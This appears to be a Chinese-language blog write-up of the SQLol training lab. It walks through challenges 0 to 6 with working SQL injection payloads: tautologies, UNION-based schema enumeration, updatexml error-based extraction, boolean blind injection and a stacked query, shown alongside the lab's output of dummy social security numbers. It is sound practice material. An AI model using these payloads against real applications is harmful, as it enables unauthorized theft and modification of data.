SQLol-Challenges writeup(一)

看独自等待的博客看到了这样一个练习代码审计、sql注入的测试平台,正巧最近在研究代码审计,那么就来通关这个平台吧~

下载地址:传送门

稍微讲下安装流程,将文件夹解压到WWW根目录,这个没什么好说的,主要是数据库文件的修改,这里数据库连接文件在/includes/database.config.php里,将username和password改为自身数据库的账号密码,即可连接(修改完点击主页上的RESET即可,出现Done即为成功,若不成功一般就是数据库连接账号密码的问题)

其实前面有很多详细的注入姿势,这里就不细说了,直接上challenge~

Challenge 0 – Hello, world!

Your objective is to get the query to return all usernames instead of just one.

需要我们查找数据库所有的用户名~这里有错误回显,所以很简单~

Query (injection string is underlined): SELECT username FROM users WHERE username = ‘123′‘ GROUP BY username ORDER BY username ASC

下划线即为我们输入的部分,下面不再赘述~

answer:123′ or 1=1#

最终显示:

Query (injection string is underlined): SELECT username FROM users WHERE username = ‘123′ or 1=1#‘ GROUP BY username ORDER BY username ASC
Array ( [username] => Herp Derper )
Array ( [username] => SlapdeBack LovedeFace )
Array ( [username] => Wengdack Slobdegoob )
Array ( [username] => Chunk MacRunfast )
Array ( [username] => Peter Weiner )

 

Challenge 1 – SQL Injection 101

Your objective is to find the table of social security numbers present in the database and extract its information.

找到数据库中所有的社保号码,并提取出来~这里有回显~

第一步:’ and 1=2 UNION SELECT table_schema FROM information_schema.tables#

第二步:’and 1=2 union select table_name from information_schema.tables where table_schema=database()#

第三步:’and 1=2 union select column_name from information_schema.columns where table_name=0x73736e#

这里0x73736e为’ssn’的十六进制编码,列名为“name”、“ssn”

第四步:’and 1=2 union select concat(name,0x7e,ssn) from ssn#

最终显示:

Query (injection string is underlined): SELECT username FROM users WHERE username = ‘‘and 1=2 union select concat(name,0x7e,ssn)from ssn#‘ GROUP BY username ORDER BY username ASC
Array ( [username] => Herp Derper~012-34-5678 )
Array ( [username] => SlapdeBack LovedeFace~999-99-9999 )
Array ( [username] => Wengdack Slobdegoob~000-00-1112 )
Array ( [username] => Chunk MacRunfast~666-67-6776 )
Array ( [username] => Peter Weiner~111-22-3333 )

 

Challenge 2 – The Failure of Quote Filters

Your objective is to find the table of social security numbers present in the database and extract its information.

跟前面的一题一样,,都是获得社保号,唯一不同的是本题为int类型,因此会过滤单引号,上题为string类型~

其实注入的原理是一样,不需要我们在最前面加上单引号来闭合前面的数据,因此这题与上题相比,不用加上前面的单引号~

answer:1 and 1=2 union select concat(name,0x7e,ssn) from ssn#

最终显示:

Query (injection string is underlined): SELECT username FROM users WHERE isadmin = 1 and 1=2 union select concat(name,0x7e,ssn) from ssn# GROUP BY username ORDER BY username ASC
Array ( [username] => Herp Derper~012-34-5678 )
Array ( [username] => SlapdeBack LovedeFace~999-99-9999 )
Array ( [username] => Wengdack Slobdegoob~000-00-1112 )
Array ( [username] => Chunk MacRunfast~666-67-6776 )
Array ( [username] => Peter Weiner~111-22-3333 )

 

Challenge 3 – Death Row

Your objective is to find the table of social security numbers present in the database and extract its information.

怎么还是获取社保号。。。。这题不会显示详细的查询数据,但是会报错~并且只会显示一行数据。。

answer:2′ union select concat(name,0x7e,ssn) from ssn limit 0,1#

2′ union select concat(name,0x7e,ssn) from ssn limit 1,1#

这里由于只会显示一条信息,因此我们需要使用limit来获取所有的用户社保号~

limit 0,1表示从第一个数据选取,只选取一个

limit 1,1表示从第二个数据选取,只选取一个,,以此类推~

最终显示:

Array ( [username] => SlapdeBack LovedeFace~999-99-9999 )

 

Challenge 4 – War on Error

Your objective is to find the table of social security numbers present in the database and extract its information WITHOUT blind SQL injection techniques.

同样是查询社保号码,,我已经开始怀疑接下来全是查询社保号了。。

不过提取信息不允许使用盲注。。估计下面一题就是要求使用盲注了。。。

这里只能使用返错注入,我使用的是updatexml函数,类似的还有很多,不一一列举~

answer:’ and updatexml(1,concat(0x7e,(select concat(name,0x7e,ssn) from ssn limit 0,1)),0)#

这里解释一下,updatexml()函数总体框架是updatexml(1,[exp],0)

这里的[exp]为我们的报错语句,最简单的可以是datebase(),来获取数据库名

这里concat()函数是用来连接数据用的,limit为获取具体某一个数据,0x7e实际上为’~’的十六进制,在进行数据连接时,连接符为~

最终显示;

Error: XPATH syntax error: ‘~Herp Derper~012-34-5678’

 

Challenge 5 – Blind Luck

Your objective is to find the table of social security numbers present in the database and extract its information.

这里获取数据库社保号,但是使用的方法是盲注。。。这里的回显只有对或错

如果正确则输出Got results!

第一步:猜测数据库长度

1′ or length(database())=5#

第二步:猜测数据库名

1′ or ascii(mid(database(),1,1))=115#

这里的115为s的ascii码

一般情况下盲注都是通过脚本来跑的,这里抓包没抓到,因此不知道提交的url格式,所以脚本没有写起来(不知道怎么在url中加上submit),这里就作个最简单的演示

第N步:1′ or ascii(mid((select concat(name,ssn) from ssn limit 0,1),1,1))=72#

这里72是H的ascii码,因为我们获取的第一个用户好像叫Herp Derper,所以第一个字符为72,因此遍历后面的字母数字即可获得完整社保号

最终显示:

Query (injection string is underlined): SELECT username FROM users WHERE username = ‘1′ or ascii(mid((select concat(name,ssn) from ssn limit 0,1),1,1))=72#‘ GROUP BY username ORDER BY username ASC
Got results!

 

Challenge 6 – Stack the Deck

In this challenge, you must utilize stacked queries due to the difficulty of extraction in the SQLi scenario.

Your objective is to create a new table called “ipwntyourdb” using stacked queries.

大意看了好久。。大概就是使用堆查询来创建一个名为“ipwntyourdb”新表

answer:’;create table ipwntyourdb( id VARCHAR(100) NOT NULL)#

由于没回显。。这条题目好像我做的有问题。。。

相关推荐: python小脚本之页面标题的爬取

突然心血来潮,想要好好研究下python的正则表达式,每次遇到正则总是百度这个.*?什么意思,感觉好烦。。不如来好好研究下具体的符号,但是研究了总要有个用途,于是我决定配合requests库,来进行页面的爬取,然后利用正则表达式,来对页面的标题进行一个匹配,从…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论